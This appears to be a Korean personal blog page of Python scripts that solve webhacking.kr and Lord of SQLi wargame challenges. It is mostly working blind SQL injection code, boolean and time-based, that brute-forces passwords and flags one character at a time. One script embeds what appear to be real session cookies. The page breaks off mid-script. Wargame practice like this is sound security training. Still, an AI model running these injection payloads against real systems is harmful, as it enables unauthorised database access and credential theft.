Gamja's Farm

import urllib.request

import re

if __name__ == "__main__":

    answer = ''

    key = True

    code = [num for num in range(39,127)]

    head = {'Cookie':'PHPSESSID=내 쿠키값'}

    for k in range(1,30):

        req = urllib.request.Request("http://webhacking.kr/challenge/web/web-31/rank.php?score=1%20or%20length(pAsSw0RdzzzZ)="+str(k),headers=head)

        data = urllib.request.urlopen(req).read()       

        data = data.decode('UTF-8')

        find = re.findall("localhost",data)

        print(k)

        if find:

            print("password length :",k)

            break

    for i in range(1,k+1):

        for j in code:

            print(hex(j))

            req = urllib.request.Request("http://webhacking.kr/challenge/web/web-31/rank.php?score=1%20or%20right(left(pAsSw0RdzzzZ,"+str(i)+"),1)="+hex(j),headers=head)

            data = urllib.request.urlopen(req).read()

            data = data.decode('UTF-8')

            find = re.findall("localhost",data)

            if find:

                print("password :",i,chr(j))

                answer += chr(j)

                break

            if j == 126:

                key = False

                break

        if key == False:

            break

    print(answer)

import urllib.request

import re

if __name__ == "__main__":

    answer = ''

    key = True

    code = [num for num in range(39,127)]

    head = {'Cookie':'PHPSESSID=사용자의 쿠키값'}

    for i in range(1,20):

        for j in code:

            print(hex(j))

            req = urllib.request.Request("http://webhacking.kr/challenge/web/web-09/index.php?no=if(substr(id,"+str(i)+",1)like("+hex(j)+"),1,0)",headers=head)

            data = urllib.request.urlopen(req).read()

            data = data.decode('UTF-8')

            find = re.findall("Secret",data)

            if find:

                print("password :",i,chr(j))

                answer += chr(j)

                break

            if j == 126:

                key = False

                break

        if key == False:

            break

    print(answer)

import urllib.request

import re

if __name__ == "__main__":

    answer = ''

    key = True

    code = [num for num in range(39,127)]

    head = {'Cookie':'PHPSESSID=사용자의 쿠키값'}

    for i in range(1,20):

        for j in code:

            print(hex(j))

            req = urllib.request.Request("http://webhacking.kr/challenge/web/web-09/index.php?no=if(substr(id,"+str(i)+",1)like("+hex(j)+"),3,0)",headers=head)

            data = urllib.request.urlopen(req).read()

            data = data.decode('UTF-8')

            find = re.findall("Secret",data)

            if find:

                print("password :",i,chr(j))

                answer += chr(j)

                break

            if j == 126:

                key = False

                break

        if key == False:

            break

    print(answer)

import urllib.request

import re

if __name__ == "__main__":

    answer = ''

    key = True

    code = [num for num in range(33,97)]

    head = {'Cookie':'PHPSESSID=내 쿠키'}

    for i in range(1,21):

        for j in code:

            print(i,"-->",chr(j))

            req = urllib.request.Request("http://webhacking.kr/challenge/web/web-10/index.php?no=if(substr((select%0amax(flag)%0afrom%0aprob13password),"+str(i)+",1)in%0a("+hex(j)+"),1,0)",headers=head)

            data = urllib.request.urlopen(req).read()

            data = data.decode('UTF-8')

            find = re.findall("<td>1</td>",data)

            if find:

                print("max length character :",i,":",chr(j))

                answer += chr(j)

                break;

            if j == 96:

                i=22

                key = False

        if key == False:

            break                

    print(answer)

import urllib.request

import re

if __name__ == "__main__":

    answer = ''

    key = True

    code = [num for num in range(33,97)]

    head = {'Cookie':'PHPSESSID=내 쿠키'}

    for i in range(1,21):

        for j in code:

            print(i,"-->",chr(j))

            req = urllib.request.Request("http://webhacking.kr/challenge/web/web-10/index.php?no=if(substr((select%0amin(flag)%0afrom%0aprob13password),"+str(i)+",1)in%0a("+hex(j)+"),1,0)",headers=head)

            data = urllib.request.urlopen(req).read()

            data = data.decode('UTF-8')

            find = re.findall("<td>1</td>",data)

            if find:

                print("max length character :",i,":",chr(j))

                answer += chr(j)

                break;

            if j == 96:

                i=22

                key = False

        if key == False:

            break                

     print(answer)

import urllib.request

import time

if __name__ == "__main__":

    answer = ''

    time2=3

    code = [num for num in range(48,58)]+[num for num in range(97,103)]

    head = {'Cookie':'PHPSESSID= 각자의 쿠키값','User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.64 Safari/537.11'}

    for i in range(1,17):

        for j in code:

            start = time.time()

            req = urllib.request.Request("http://los.eagle-jump.org/umaru_6f977f0504e56eeb72967f35eadbfdf5.php?flag=(select 1 union select sleep(3*(flag like %27"+answer+str(chr(j))+"%%27)))",headers=head)

            data = urllib.request.urlopen(req).read()

            end = time.time()

            time1 = end-start

            print(str(chr(j)),time1)

            if time1 > time2:

                print(i,chr(j))

                answer += str(chr(j))

                print(answer)

                break;

import urllib.request

import re

if __name__ == "__main__":

    code = [num for num in range(33,127)]

    head = {'Cookie':'__cfduid=d62a3d60e5d1fcac55aa9500fa25c73de1516581774; PHPSESSID=vbafd946rt7cbv1i37v9tfon03','User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.64 Safari/537.11'}

    for i in range(1,9):

        for j in code:

            req = urllib.request.Request("http://los.eagle-jump.org/dark_eyes_a7f01583a2ab681dc71e5fd3a40c0bd4.php?pw=%27%20or%20(id=%27admin%27%20and%20(select%20substr(pw,"+str(i)+",1)=%27"+str(chr(j))+"%27%20union%20select%201))%23",headers=head)

            data = urllib.request.urlopen(req).read()

            data = data.decode('UTF-8')

            find = re.findall("query",data)    

            if find:

                print(i,"->",chr(j))